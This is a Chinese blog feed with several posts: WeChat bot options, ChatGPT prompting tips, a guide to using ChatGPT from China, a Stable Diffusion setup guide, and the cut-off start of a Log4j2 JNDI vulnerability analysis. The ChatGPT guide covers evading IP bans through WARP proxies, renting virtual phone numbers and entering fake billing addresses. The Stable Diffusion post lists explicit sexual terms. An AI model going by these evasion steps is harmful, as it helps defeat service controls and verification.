作为机器人无法解决的问题就是群管理和好友管理问题。但其实微信也设计了相应的场景就是企业微信,在企业微信的后台可以直接新建客户群,并且依托客户群的功能来管理微信群。这里有个很大的优势是,微信群默认超过200人就不能通过二维码进群了,而客户群可以配置用一套模板自动建群进群,原意应该是为了维护私域客户群。

img

比如说如果想通过API来交互调用消息推送到所有客户群,企业微信也提供了相应的API,但是每个用户每天只能推送一次。

但是以上的所有方案里面最大的问题在于企业微信的很多功能都是需要认证之后才能用。

img

而且这个东西还挺坑的一点在于,这个认证不是直接付费使用,而是必须用公司营业执照或者法人代表等东西认证。

而更坑的是企业微信的外部群,就是前面提到的客户群,目前是阉割功能的,不能添加类似群机器人的东西。这个东西几年前就是这样,可能企业微信不希望你用这种方式管理群。

img

除了比较基础的群管理,自动回复等等以外,企业微信的小程序接口也是自由度相当高。这块东西是很多人使用企业微信的主因之一

img

在这里创建企业微信应用之后,可以直接通过相应的api来向应用发送消息,也可以配置api接受消息来实现信息的交互。

img

就比如现在很流行的给微信机器人接ChatGPT,其中就比如

就支持通过API接受消息来实现和chatgpt的交互

img

但我又遇到了一个新的问题就是,怎么把企业微信的内部应用对外使用呢?正常来讲,企业微信自建应用主要是对内的,企业内部使用,企业微信本身其实没有设置相关的场景。

之前也看到过那种用这个方案实现应用对外共享的应用,他们直接选择建一个企业卫星来解决这个问题,用户可以直接加入企业然后使用工作台里的自建应用。

img

在我研究了一段时间之后,抛开企业微信的企业内场景,现在微信也提供了官方的智能对话接口可以实现类似于微信客服的东西。

img

在微信对话开放平台你可以自己注册一个自己的机器人,在这里你可以通过很多种方式配置自动回复,其中有比较简单粗暴的培养式,也有高级的基于接口开发

img

除了简单的对话式设定,还支持高级的词典式解读对话。当然我觉得相对比较实用的是在高级对话里可以关联接口,甚至可以自定义接口,这就为这个接口增加了很多的可能性,你可以通过自定义接口来实现某些功能。

img

通过微信客服的接入功能,我们可以用微信的智能客服来替代原本只能自动回复的原客服机器人,用户可以在客户群里添加客服助理并对话。

img)img

我花了一段时间把相关的各种api都研究了一遍,但其中的问题都不少,主要问题就是他总是有各种各样的限制场景,相比可以自由操作的普通微信账号功能差距还是很大。

第三方接口

抛开官方提供的方案以外,和qq的方案类似,微信机器人也用了类似的逆向破解接口的方案来实现对部分功能的调用,其中很大程度上依赖的是历史版本的微信,这也得益于微信对于旧版本的支持,很多机器人运行的还算流畅。

我研究了很久,现在比较成熟的工具是可爱猫。

img

当然由于各种各样的原因,可爱猫现在已经没有公开的渠道获取了,想要的话需要找社群去弄。而可爱猫虽然是一个易语言写的工具,但是却实现了一套很成熟的http接口插件方案。

img

通过插件可以配合自己实现的web接口来实现各种各样的功能

img

img

整体还是比较简单好用的,唯一的问题是可爱猫在服务器运行会有很大的概率导致微信闪退,最关键的是无法稳定。我曾经稳定运行了半年,之后一直闪退怎么都开不起来,再到后来突然又好了。

除此之外,还有很多类似的方案可以直接操作微信的dll

img

但是这个东西最大的问题是容易封号。我了解了以下是第一次警告踢下线,第二次封号

img

顺这个我也看了不少相关的东西,有比较靠谱的方案就是直接在桌面版的微信上注入DLL操作。

img

这个方案据说比较靠谱。使用这种方案最大的优势就是你可以操作完成微信中需要的各种部分,就比如监控管理好友、群,自动回复私聊和微信群消息

写在最后

其实前面记录了那么多,大体上把过去的很多方案都聊到了,这篇文章其实是没有讲到什么新东西,主要是花时间在研究已经有的东西,其中遇到最多的问题,就是探索微信官方对于各类功能的程序是如何认可和定义的。这本身不是一个技术上的问题,所以很多部分只能逐渐探索,无法得到准确的结果。

🔲 ☆

从0到1的ChatGPT - 入门篇(二) - 如何与ChatGPT对话?

在上篇文章的结尾,我提到了ChatGPT其实更像是一把铲子,在拥有这把铲子之前,我们只知道可以把土堆成房子,但是不知道用什么把土堆起来,但在有了这把铲子之后,铲土只是铲子最直白的利用,如何用铲子堆一个又大又漂亮的房子可能我们还不知道,但至少我们现在已经开始尝试做这样的事情了。

其实从ChatGPT诞生至今,所有从事相关研究的朋友都在努力的在ChatGPT上探索各种各样的使用方式,甚至现在已经诞生了所谓的prompt工程师。

这篇文章就聊聊很多现在已有的关于ChatGPT使用的技巧。

4A & 4W

首先ChatGPT在自然语言的理解上虽然有着领先时代的表现,但事实上ChatGPT并不是你的蛔虫,你试图通过简单的问题获得准确的回答是不可能的,也不现实。

这里我也用一下,在讲述这个问题时最常用的“如何减肥”的例子。如果你只是简单的问,那么chatgpt的回答就会模糊而概括。

img

随着大家的探索,逐渐诞生了两种常用的扮演法指令模式,也就是4A & 4W。

  • 4A: Actor(角色) - Aim(目标) - Ask(提要求) - Addition(补充)

4A模型是Prompt中比较典型的例子,晚上大部分流行的提问方式都是这个结构,还是拿减肥举例子,这一次我提供了我的身高和体重,并且给他赋予了角色定位。

img

相比之前更简单的提问,ChatGPT给了更具体的回应以及更详细的范例,但实际上在这个范例中,虽然内容详细但事实上没有太具体的计划。

在这个基础上,又有人提出了4W模型。

  • 4W: What(我的情况是) - Will(我想) - Who(你是谁) - Want(我要你)

我们把前面的问题换个问法

img

这一次ChatGPT反馈的最大变化就是他会根据我的内容进行发散,进而进一步的反馈详细的内容和反馈。

事实上ChatGPT对于问题的回答并不是一定的,相比4A模型,4W模型的反馈质量更高反馈也比较直白,在GPT4版本之后发散度也更高,也是现在比较主流的扮演提问法。

但事实上,4W的基础提问法只是比较通用的问法,但在扮演法可以有更详细的提问方式。比如我们先问问有没有专业的健身教练。

img

根据他的反馈,我们直接找其中一个人,让ChatGPT扮演这个人来提供建议。

img

在这种情况下,ChatGPT有可能,注意是有可能,会生成带有强烈的个人风格的反馈内容。而这部分内容一般来说有效度会更高,因为他很有可能是基于已有的内容生成的。但这并不绝对,因为ChatGPT还没有真正意义上联网。不过使用这种更详细的扮演法在某些情况下会让你的结果更有效。

Openai 的官方最佳实践

这里我们也一起看一看openai公开的prompt最佳实践,里面其实也是提到了一些我们熟知的,这里我提取几个比较关键的点。

1、把指令放在Prompt的开头,并且用###或者”””来分割指令和上下文。

1
2
3
4
5
6
7
8
9
我需要把下面这段代码压缩到一行
###
var cookieStr = 'ppmsglist_action_3907326541=card';
var cookieArr = cookieStr.split('; ');
for (var i = 0; i < cookieArr.length; i++) {
var cookie = cookieArr[i];
var arr = cookie.split('=');
document.cookie = arr[0] + '=' + arr[1];
}

2、对希望得到的内容的背景、结果、长度、格式、风格尽可能的详细

img

3、通过示例阐述所需的输出格式

其实也很好理解,你可以用一些范例来表达你想要的内容,来帮助chatgpt矫正结果。

img

img

4、先不提供范例,再尝试给出范例,然后根据返回微调。

5、减少不精确的描述。

比起“我想要一段短小的内容”,最好直接指明内容的长度,比如“我想要一段100字左右的内容”

6、与其说什么不该做,不如说什么该做。

7、在想要生成代码的时候,使用引导词让模型向特定的模式发展。

在openai的范例中,他用import作为python的引导词,用select作为sql的引导词。

img

Prompt Engineering

其实相比简单的提问式回答,现在的Prompt相关的内容已经相当成熟了,比如github上现在有很多类似的项目,整理了大量的经典Prompt场景

img

甚至已经有相当成熟的网站分享相关的信息https://www.explainthis.io/zh-hant/chatgpt

img

除了这种简单的指令分享,甚至还有更牛逼的直接把这个东西直接包装成产品,直接辅助你去写各种prompt。

额外参数

除了简单的对话技巧以及各种方案,ChatGPT还提供了不少的额外参数以影响返回的结果,其中我挑部分我觉得比较有意思的参数

temperature

temperature这个参数官方给出的解释是,衡量模型输出不太准确信息的频率,temperature越高,输出越随机,并更具有创造性。但相比官方的解释,我们甚至可以把temperature理解为情感值或者温度值。

img

img

temperature默认是0.8,最高为2。通常来说,在询问具有创造力的结果时,可以让temperature提高,来获得更有意思的结果。在询问某些事实或者准确的内容时,可以降低temperature来获得更准确的结果。你可以在调用api的时候设置这个参数来控制它。

这是temperature为0.2时返回的结果。

img

当temperature为2的时候,chatgpt就有点儿傻,返回的非准确内容中会大量的随机各种结果。

img

当temperature为1的时候,chatgpt相对比较平衡

img

presence_penalty

presence_penalty也是一个比较常见的参数,我们可以把这个参数认为是话题新鲜度,也可以认为是话题拓展的可能性。这个值越大,chatgpt在对话中也会越主动的发起新的分支。

这个值默认是0,可以从-2到2之间。

我自己尝试了一下感觉这个参数的表现其实比较弱,一般的问题回复其实是感受不到的。

frequency_penalty

frequency_penalty整体上和presence_penalty类似,主要是控制总体使用频率较高的单词和短语概率,这个值越高,chatgpt中就会尽量减少重复。

这个值默认是0,可以从-2到2之间。

max_tokens

标志返回的token长度的硬截止限制,这个token之前也说过其实标志是的是单词或者短语,这个计算方式相当宽泛,所以一般设置max_tokens就是为了保底,避免某些特殊的问题导致超长的回复浪费api的资源。

stop

一个特殊标记,可以在文本生成过程中暂停文本的生成。

写在最后

掌握了ChatGPT简单问答式的用法,就相当于我们已经学会了用铲子铲土。

而在ChatGPT基础上做进一步的探索相当有趣,下篇文章就讲讲怎么用铲子盖房子。

🔲 ☆

从0到1的ChatGPT - 入门篇

在2023年年初,ChatGPT像一颗流星一样突然出现在大家的面前,围绕ChatGPT的探索也以各种各样的方式出现在大家的面前。

相比基于ChatGPT的探索,openai的平台和国内的对抗反倒在潜移默化的升级,我没有了解过openai到底有什么样的背景导致一直执着于国内使用者的封禁,这篇文章就先讲讲我在这个过程的所有探索以及相应的解决方案吧。

IP限制

这个东西是在使用ChatGPT过程中遇到的最大的问题,而且其中的相应策略极其复杂,这里只列举我撞到的策略和绕过方案。

通过代理解决

首先来源IP这块就不用多说了,你正常直接去访问openai.com都会撞到GFW的拦截,当然作为技术从业者有自己的科学手段自然不用多说了,但如果说GFW是你入门的门槛的话,那chatgpt使用的方案可以说是釜底抽薪。国内百分之90的科学手段大抵上都是利用国外的服务器来实现的,而且除开使用机场的朋友以外,大部分都是使用比较有名的各种云服务器,chatgpt搞得第一个门槛就是,封禁了大部分的云服务器ip以及网段

  • vultr,godaddy
  • aws,oricle,linode
  • 阿里云、腾讯云

这就直接导致了一个问题,就是在ip层面你就需要想办法绕过。

img

根据我的了解,其实大部分人都使用了比较冷门的云服务商或者比较冷门的机场来解决,这样比较一劳永逸,而我选择了用另一个方案就是v2ray+cf wrap,这里我就不详细解释具体是怎么回事了,大概是用了CF推出的一个相对比较真实的ip来做代理,很多朋友会用这个方案来绕过Netflix的限制。具体可以参考这个链接来实现。

https://github.com/willoong9559/XrayWarp

配置warp

1、参考CF的文档来安装warp

https://developers.cloudflare.com/warp-client/get-started/linux/

2、注册客户端

1
warp-cli register

3、设置WARP代理模式

1
warp-cli set-mode proxy

4、连接WARP

1
warp-cli connect

此时WARP会使用socks5本机代理127.0.0.1:40000

5、打开warp always-on

1
warp-cli enable-always-on

6、测试socks代理,理检查ip是否改变

1
2
export ALL_PROXY=socks5://127.0.0.1:40000
curl ifconfig.me

7、修改V2ray的配置

  • 为inbounds启动sniffing
1
2
3
4
"sniffing": {
"enabled": true,
"destOverride": ["http", "tls"]
}
  • 为outbounds中加入socks_out相关的配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
"outbounds": [
{
"tag": "default",
"protocol": "freedom"
},
{
"tag":"socks_out",
"protocol": "socks",
"settings": {
"servers": [
{
"address": "127.0.0.1",
"port": 40000
}
]
}
}
],
"routing": {
"rules": [
{
"type": "field",
"outboundTag": "socks_out",
"domain": ["geosite:netflix"]
},
{
"type": "field",
"outboundTag": "default",
"network": "udp,tcp"
}
]
}
  • 下面的routing配置当中,我们可以把需要过warp的域名配置进去,因为warp相对慢很多,所以其他域最好不要过warp。
1
2
3
4
5
6
7
8
   {
"type": "field",
"outboundTag": "socks_out",
"domain": [
"geosite:netflix",
"openai.com",
]
},
  • 重新启动v2ray/xray
1
2
systemctl restart v2ray
systemctl status v2ray

如果要应用geosite的域名列表,则需要下载geosite和geoip包放到/usr/local/bin中。

如果想要测试有没有效果,可以通过添加ipip的域名并访问ipip查看是不是服务器对应的ip。

其他方案以及问题

当配置完warp其实正常的服务器就可以正常使用了,如果你刚好有没有被封的账号,那你现在已经可以正常使用了。

img

但如果你的账号以某种方式被封了,到这里你还是没办法使用。(有趣的是,这种封禁并不是永久的,他会以某种方式被解封)

img

而更糟糕的问题是,如果你试图注册一个新的账号,那么很大概率会提示,相同的ip下注册请求过多。

img

关于这个问题其实我没有找到特别完美的方案来解决,网上在这一步使用的方案大多是使用一个冷门的服务器上直接在windows服务器上远程操作实现又或者是让别人来注册。

通过API来解决

其实在openai的设定中有个很有意思的设定,就是chatgpt平台和API平台是分开的。

首先大家比较常说的chatgpt其实是在线的一个平台,也就是我们见的最多的对话平台。

img

这个平台的限制最严格,账号最容易被封,但优势是在这个网页我们可以获得一手的使用体验,如果升级plus还可以优先使用chatgpt后续的最新更新。

但事实上大部分朋友其实是不需要这些东西的,我们可以通过chatgpt的api配合一些第三方开发的平台来实现。

而ChatGPT的API我们可以在openai的platform上看到

img

这个平台其实对国内用户的封禁是没那么严格的,而且刚注册的账号是可以在前3个月使用免费的18刀额度,所以很多人其实是选择用这个接口来使用的

img

如果你把免费的额度使用完之后,你可能会遇到无法付费的问题,具体可以看后面。

在openai的platform后台可以新建一个API keys

img

配合一些现在做的很不错的二次开发平台,能体验到比原版chatgpt更实用的感受。有一个比较好用的ChatGPT Next Web

https://github.com/Yidadaa/ChatGPT-Next-Web

ChatGPT Next Web提供了一个基于vercel实现的方案,可以允许做一个私有化的平台,并利用web pages功能+绑定自定义域名部署在网上,这个方案相当实用,同样也不依赖科学上网。

img

账号邮箱封禁

在初版的ChatGPT注册的时候其实是没有这个限制的,所以大部分朋友估计都没有遇到过这个问题,我最早的账号直接就是Gmail注册的也没遇到类似的问题,但是在最近chatgpt封禁了大部分我们能用到的邮箱。

  1. QQ邮箱,foxmail邮箱
  2. 163邮箱,网易邮箱,126邮箱,新浪邮箱
  3. Outlook、hotmail邮箱
  4. edu.cn邮箱
  5. Gmail,只能快捷登录

正常来说的话,其实我们国内能用得到的大部分邮箱里只有gmail可以正常使用了,但是gmail的注册最近也有一些问题这里就先不聊。

如果你的账号是因为邮箱被封禁,会在注册的时候出现类似的提示。

img

其实比较实用的方案还是用自己的域名,绑定自定义域名应该可以绕过这个问题。但是要搞一个企业邮箱,这里先不提了。

手机号封禁

在解决了邮箱的问题之后,你遇到的第二个问题就是手机号封禁,在注册openai的账号的同时你需要一个国外的手机号接受短信,一般来说SMS Active是比较实用的一个网站,国内可以直接用visa卡来支付,收费也不贵以后也用得到.

https://sms-activate.org/cn/

img

这个网站租用的虚拟手机号是专门用来注册各种各样的网站的,其中就有openai,我们可以直接选openai

img

然后选择对应的国家点击购买就会获得一个随机的手机号,复制手机号到openai对应激活接受短信即可。由于这个平台大家使用的还是比较多的,所以可以用稍微冷门一点儿的国家手机号有效度比较高,如果激活失败可以多尝试几个手机。

使用相关的问题

当你搞定所有的问题之后,你可能会遇到一些使用上的问题,这里我写两个最常见的问题。

首先大家比较常说的chatgpt其实是在线的一个平台

img

在这个平台里可以选择不同的model比如GPT4,每个session都是独立的,会保存一定程度的上下文,但同样有很多的限制,其中最常见的就是GPT-4,3小时只能发送25条消息。

img

而ChatGPT plus也是针对这个页面的收费服务,ChatGPT本身是免费的,但如果你订阅ChatGPT plus会有很多额外的权益,其中最实用的就是更快的响应速度和新功能优先使用。

img

但其中容易被忽略的问题是,ChatGPT plus看上去并不便宜,需要20刀每个月,但其实并不提升API,plus只是单纯针对Chat网页的优化,而更关键的是,由于ChatGPT在后续的更新中加入了CF做防护,现在基本上已经没办法通过通过第三方来模拟ChatGPT了,大部分都是使用官方提供的API接口。

img

而API的收费方式是根据tokens计算的,你可以简单的把tokens认为是单词片段。

img

而ChatGPT的API我们可以在openai的platform上看到

img

这个平台其实对国内用户的封禁是没那么严格的,而且刚注册的账号是可以在前3个月使用免费的18刀额度,所以很多人其实是选择用这个接口来使用的

img

如果你解决不了chat界面的封禁,可以尝试直接使用api来使用,也是个不错的方案。

当你把免费额度使用完之后,你会遇到一个新的问题,就是如何支付?

如何支付?

其实除开服务器的ip限制,最麻烦的问题就是这个,其实大部分的国外网站都是可以使用visa卡直接支付的,很多银行都有全球卡,但麻烦的是,openai似乎对这方面做了一定的限制,你无法使用国内银行卡来支付,你会遇到一个类似这样的提示。

img

我在研究了很多方案以后,得到了一个最简单的方案,就是depay,这个东西其实最近也挺流行的,depay使用usdt作为标准代币可以申请虚拟信用卡,而且depay的信用卡相当实用,申请的虚拟卡甚至可以绑定微信和支付宝,可以用来把国外的赏金转回来。但比较麻烦的是,depay必须使用udst充值,这方面我就不科普了,可以用各大平台APP来c2c交易。感兴趣的话可以用我的邀请链接注册。

https://depay.depay.one/web-app/register-h5?invitCode=689747&lang=zh-cn

搞定虚拟信用卡之后可以直接在后台绑定卡,要注意depay必须提前充值余额进去才能使用。

img

要注意下面的账单地址最好找个国外的地址,否则可能会触发一些限制,比较简单的方案是直接在google map上搜一个地址贴上去。

img

基本上找个差不多的地址都ok。正常添加完就可以使用了,注意可以加入一点儿使用限制,避免超额

img

如何使用?

其实在你接触到ChatGPT之前,你可能会接受到无限的关于ChatGPT的吹捧。但当你真正使用ChatGPT的时候,你可能玩的很开心,但确想不到这个东西究竟有啥用,因为他又不能用来查询资料,也不能凭空做工作。当你冷静下来可能会觉得ChatGPT更像是个玩具。

但ChatGPT其实更像是一把铲子,在拥有这把铲子之前,我们只知道可以把土堆成房子,但是不知道用什么把土堆起来,但在有了这把铲子之后,铲土只是铲子最直白的利用,如何用铲子堆一个又大又漂亮的房子可能我们还不知道,但至少我们现在已经开始尝试做这样的事情了。

关于具体的使用方案,在这篇入门篇先不提,下篇再见。

🔲 ☆

赛博偶像速成指南

随着ChatGPT的爆火,最近和人工智能有关的各个部分也有一次爆火起来,由ai制成的美少女也是最近的一个爆火的话题,花了一点儿时间了解了一下,感觉还挺有意思的,现有的工具已经是非常成熟可用的东西了,接下来简单介绍一下怎么玩

img

Stable Diffusion WebUI

这次我是用的是Stable Diffusion WebUI来生成ai图,这是一款现在非常流行的用ai来绘图的开源工具,给出一组描述词,ai就可以根据描述词画出你想要的图片。现在使用最多的是AUTOMATIC1111改进的图形化版本,支持Linux/Windows/MacOS系統,以及Nvidia/AMD/Apple的GPU,几乎没有门槛,装好即用。

img

需要注意的是,这个玩意及其吃GPU以及显存,我的工作机跑这个一下就卡死了,很吃力。

安装指南

基础环境

  • N卡或者A卡对应的驱动程序
  • python3.10+,最好新一点儿
  • Git环境

Stable Diffusion模型

Stable Diffusion生成图需要基础模型,主要有两部分

  • 脸部修复模型GFPGAN
  • 绘图使用的相关模型

GFPGAN可以去https://github.com/TencentARC/GFPGAN/releases/tag/v1.3.4直接下载

img

还有一部分是绘图相关的模型,这部分模型有很多,可以在很多不同的网站上搜索下载,比如https://huggingface.co/models或者https://civitai.com/都是比较有名的模型下载网站

名称说明下载
Stable DiffusionCompVis发布的基础模型,适合真人和动物。HuggingFace
Chilloutmix写实风格的模型,融合真人和动漫风格HuggingFace
Anything适合漫画HuggingFace
Waifu Diffusion使用Danbooru图库训练而成,适合漫画HuggingFace

你也可以选择在civitai上直接找自己喜欢的模型下载,ckpt后缀和safetensors后缀都快可以。

img

在筛选中勾选Checkpoint对应的就是基础绘画模型。

安装Stable Diffusion

1、首先从github下载源码

1
git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git

2、把前面下载的GFPGANv1.4.pth放在对应的文件夹下。

img

3、下载相应的各种依赖库,windows执行bat,linux执行sh。

1
2
cd stable-diffusion-webui
./webui-user.bat

每次运行的时候都会通过git同步最新版本的各种库,第一次运行的时候会下载各种依赖库,有点儿大而且涉及github,快的话大概30分钟左右,慢的话可能会很慢。

如果显示web的链接,那么说明所有的依赖已经下载成功了。要注意的是,依赖当中有关torch有可能会遇到很多报错,可以考虑手动下载安装

img

4、安装对应的绘画模型

前面提到的https://huggingface.co/models或者https://civitai.com/中下载的模型需要放在models/Stable-diffusion/中

img

5、如果GPU的显存小于4G,那么你可以在在启动脚本当中加入–medvram,windows编辑webui-user.bat。

img

6、当你打开对应的链接可以访问使用时,说明已经安装成功了。

简单的使用指南

关键字

使用Stable Diffusion生成图时,最重要的就是关键字,分别是正向关键字负向关键字

img

无论是那个模式都是通过关键字来影响图片生成,这个关键字主要有几个部分。

  • 必须是英文输入,你可以使用关键字词语,比如girl,long hair等关键字,也可以使用一段句子来描述,比如a girl with long hair,或者使用某个艺术家的名字来,Voldy可以查到相关的艺术家画风,又或者直接使用某个特定的动漫人物的名字,输出相关的作品和角色。ai会根据你的描述来生成图。
  • 你可以使用括号增加标签的权重,括号越多权重越高

这里也分享一个Hentai Diffusion分享的万用的负向关键字,可以防止出现断手断脚

1
(((deformed))), blurry, bad anatomy, disfigured, poorly drawn face, mutation, mutated, (extra_limb), (ugly), (poorly drawn hands), fused fingers, messy drawing, broken legs censor, censored, censor_bar, multiple breasts, (mutated hands and fingers:1.5), (long body :1.3), (mutation, poorly drawn :1.2), black-white, bad anatomy, liquid body, liquidtongue, disfigured, malformed, mutated, anatomical nonsense, text font ui, error, malformed hands, long neck, blurred, lowers, low res, bad anatomy, bad proportions, bad shadow, uncoordinated body, unnatural body, fused breasts, bad breasts, huge breasts, poorly drawn breasts, extra breasts, liquid breasts, heavy breasts, missingbreasts, huge haunch, huge thighs, huge calf, bad hands, fused hand, missing hand, disappearing arms, disappearing thigh, disappearing calf, disappearing legs, fusedears, bad ears, poorly drawn ears, extra ears, liquid ears, heavy ears, missing ears, fused animal ears, bad animal ears, poorly drawn animal ears, extra animal ears, liquidanimal ears, heavy animal ears, missing animal ears, text, ui, error, missing fingers, missing limb, fused fingers, one hand with more than 5 fingers, one hand with less than5 fingers, one hand with more than 5 digit, one hand with less than 5 digit, extra digit, fewer digits, fused digit, missing digit, bad digit, liquid digit, colorful tongue, blacktongue, cropped, watermark, username, blurry, JPEG artifacts, signature, 3D, 3D game, 3D game scene, 3D character, malformed feet, extra feet, bad feet, poorly drawnfeet, fused feet, missing feet, extra shoes, bad shoes, fused shoes, more than two shoes, poorly drawn shoes, bad gloves, poorly drawn gloves, fused gloves, bad cum, poorly drawn cum, fused cum, bad hairs, poorly drawn hairs, fused hairs, big muscles, ugly, bad face, fused face, poorly drawn face, cloned face, big face, long face, badeyes, fused eyes poorly drawn eyes, extra eyes, malformed limbs, more than 2 nipples, missing nipples, different nipples, fused nipples, bad nipples, poorly drawnnipples, black nipples, colorful nipples, gross proportions. short arm, (((missing arms))), missing thighs, missing calf, missing legs, mutation, duplicate, morbid, mutilated, poorly drawn hands, more than 1 left hand, more than 1 right hand, deformed, (blurry), disfigured, missing legs, extra arms, extra thighs, more than 2 thighs, extra calf,fused calf, extra legs, bad knee, extra knee, more than 2 legs, bad tails, bad mouth, fused mouth, poorly drawn mouth, bad tongue, tongue within mouth, too longtongue, black tongue, big mouth, cracked mouth, bad mouth, dirty face, dirty teeth, dirty pantie, fused pantie, poorly drawn pantie, fused cloth, poorly drawn cloth, badpantie, yellow teeth, thick lips, bad camel toe, colorful camel toe, bad asshole, poorly drawn asshole, fused asshole, missing asshole, bad anus, bad pussy, bad crotch, badcrotch seam, fused anus, fused pussy, fused anus, fused crotch, poorly drawn crotch, fused seam, poorly drawn anus, poorly drawn pussy, poorly drawn crotch, poorlydrawn crotch seam, bad thigh gap, missing thigh gap, fused thigh gap, liquid thigh gap, poorly drawn thigh gap, poorly drawn anus, bad collarbone, fused collarbone, missing collarbone, liquid collarbone, strong girl, obesity, worst quality, low quality, normal quality, liquid tentacles, bad tentacles, poorly drawn tentacles, split tentacles, fused tentacles, missing clit, bad clit, fused clit, colorful clit, black clit, liquid clit, QR code, bar code, censored, safety panties, safety knickers, beard, furry, pony, pubic hair, mosaic, futa, testis, (((deformed))), blurry, bad anatomy, disfigured, poorly drawn face, mutation, mutated, (extra_limb), (ugly), (poorly drawn hands), fused fingers, messy drawing, broken legs censor, censored, censor_bar, multiple breasts, (mutated hands and fingers:1.5), (long body :1.3), (mutation, poorly drawn :1.2), black-white, bad anatomy, liquid body, liquidtongue, disfigured, malformed, mutated, anatomical nonsense, text font ui, error, malformed hands, long neck, blurred, lowers, low res, bad anatomy, bad proportions, bad shadow, uncoordinated body, unnatural body, fused breasts, bad breasts, huge breasts, poorly drawn breasts, extra breasts, liquid breasts, heavy breasts, missingbreasts, huge haunch, huge thighs, huge calf, bad hands, fused hand, missing hand, disappearing arms, disappearing thigh, disappearing calf, disappearing legs, fusedears, bad ears, poorly drawn ears, extra ears, liquid ears, heavy ears, missing ears, fused animal ears, bad animal ears, poorly drawn animal ears, extra animal ears, liquidanimal ears, heavy animal ears, missing animal ears, text, ui, error, missing fingers, missing limb, fused fingers, one hand with more than 5 fingers, one hand with less than5 fingers, one hand with more than 5 digit, one hand with less than 5 digit, extra digit, fewer digits, fused digit, missing digit, bad digit, liquid digit, colorful tongue, blacktongue, cropped, watermark, username, blurry, JPEG artifacts, signature, 3D, 3D game, 3D game scene, 3D character, malformed feet, extra feet, bad feet, poorly drawnfeet, fused feet, missing feet, extra shoes, bad shoes, fused shoes, more than two shoes, poorly drawn shoes, bad gloves, poorly drawn gloves, fused gloves, bad cum, poorly drawn cum, fused cum, bad hairs, poorly drawn hairs, fused hairs, big muscles, ugly, bad face, fused face, poorly drawn face, cloned face, big face, long face, badeyes, fused eyes poorly drawn eyes, extra eyes, malformed limbs, more than 2 nipples, missing nipples, different nipples, fused nipples, bad nipples, poorly drawnnipples, black nipples, colorful nipples, gross proportions. short arm, (((missing arms))), missing thighs, missing calf, missing legs, mutation, duplicate, morbid, mutilated, poorly drawn hands, more than 1 left hand, more than 1 right hand, deformed, (blurry), disfigured, missing legs, extra arms, extra thighs, more than 2 thighs, extra calf,fused calf, extra legs, bad knee, extra knee, more than 2 legs, bad tails, bad mouth, fused mouth, poorly drawn mouth, bad tongue, tongue within mouth, too longtongue, black tongue, big mouth, cracked mouth, bad mouth, dirty face, dirty teeth, dirty pantie, fused pantie, poorly drawn pantie, fused cloth, poorly drawn cloth, badpantie, yellow teeth, thick lips, bad camel toe, colorful camel toe, bad asshole, poorly drawn asshole, fused asshole, missing asshole, bad anus, bad pussy, bad crotch, badcrotch seam, fused anus, fused pussy, fused anus, fused crotch, poorly drawn crotch, fused seam, poorly drawn anus, poorly drawn pussy, poorly drawn crotch, poorlydrawn crotch seam, bad thigh gap, missing thigh gap, fused thigh gap, liquid thigh gap, poorly drawn thigh gap, poorly drawn anus, bad collarbone, fused collarbone, missing collarbone, liquid collarbone, strong girl, obesity, worst quality, low quality, normal quality, liquid tentacles, bad tentacles, poorly drawn tentacles, split tentacles, fused tentacles, missing clit, bad clit, fused clit, colorful clit, black clit, liquid clit, QR code, bar code, censored, safety panties, safety knickers, beard, furry, pony, pubic hair, mosaic, futa, testis

合并多个绘图模型

在进入web平台之后,左上角可以选择你使用的绘画模型。

img

我使用的过程中发现,这个绘画模型要比关键字对绘图来说更关键,如果有一个很好的绘画模型会很容易生成好看的图,而stable diffusion提供了合并模型的功能,而现在很多不错的模型都是混搭出来的,比如最近非常流行的Korean Doll Likeness就是由Uber Realistic Porn Merge (URPM)-0.7 and ChilloutMix-0.3混搭而来。

img

你也可以选择用这个功能混搭一个自己喜欢的基础模型。

文生图或者图生图

前面提到stable diffusion生成图片是通过关键字实现的,除了文字以外,还提供了提供图片生成的图生图功能。你可以使用上传图片+关键字组合的方式生成图片。

img

其中的很多配置我也没搞明白,就说几个比较关键的配置。

img

  • sampling steps代表图片演化的步骤,可以调高一点儿30、40左右。
  • width和Height是生成的图片大小,建议不要调这个,这个调大了很卡。
  • batch count表示生成图片的数量,建议不要太高,占用太高可能会闪退。

使用分享的关键字以及参数

在了解的前面的东西之后,你应该可以生成一些各种类型的图片了,但是我说实话,生成的很多图效果都很差,这个时候可以去civitai上去逛一逛,找一点儿别人分享的图和参数来看看。

随便选一个喜欢的分享,点进去往下翻,可以看到很多使用该模型生成的图

img

随便选一个喜欢的图,右下角点击叹号,可以看到生成该图使用的各种参数。

img

你可以把所有的配置直接偷下来,使用该种子就可以生成你想要的图,也可以不指定种子就可以用这个模板来生成图。

除了这种比较简单的关键字参数以外,你还可以在stable diffusion引用lora模型,在civitai上筛选LORA

img

选择一个你喜欢的LORA模型,在右上角下载。

img

然后放在models/Lora里面

img

然后在右边generate的下面点击粉色图标,点到Lora中就可以看到刚才导入的Lora模型

img

点选就可以在关键字的基础上再引入额外的绘画模型。可以画出更有风格的图。

Inpaint 辅助绘制

除了简单的生成图片以外,stable diffusion还有很神奇的功能是辅助绘制,在图生图里,有个分栏叫Inpaint,你可以选择涂黑图片的一部分,ai就只会修改涂黑的部分

img

比如这里我涂黑了裙子部分,ai就自动生成了一个腰带,通过这个功能可以智能的修改某个东西,还是很有趣的。

写在最后

其实这个玩意出来已经很多年了,之前看过一些但是当时还比较简单,大部分只是基于图包训练,很多结果说实话都很一般,最近又火起来之后就又研究了一下,没想到这个玩意已经成熟到这个地步了,感觉还蛮有意思的,很多图成熟度已经非常高了,估计以后会有大量的赛博偶像了:>

🔲 ☆

log4j2 JNDI注入漏洞速通~


2021年12月9日,一场堪比永恒之蓝的灾难席卷了Java,Log4j2爆出了利用难度极低的JNDI注入漏洞,其漏洞利用难度之低令人叹为观止,基本可以比肩S2。

而和S2不一样的是,由于Log4j2 作为日志记录基础第三方库,被大量Java框架及应用使用,只要用到 Log4j2 进行日志输出且日志内容能被攻击者部分可控,即可能会受到漏洞攻击影响。因此,该漏洞也同时影响全球大量通用应用及组件,例如 :
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
Apache Flume
Apache Dubbo
Apache Kafka
Spring-boot-starter-log4j2
ElasticSearch
Jedis
Logstash

下面我们来一起看看漏洞原理

漏洞分析

搭建环境

这里选用log4j-core 2.14.1版本,简单构造一个环境

1
2
3
4
5
6
7
8
9
10
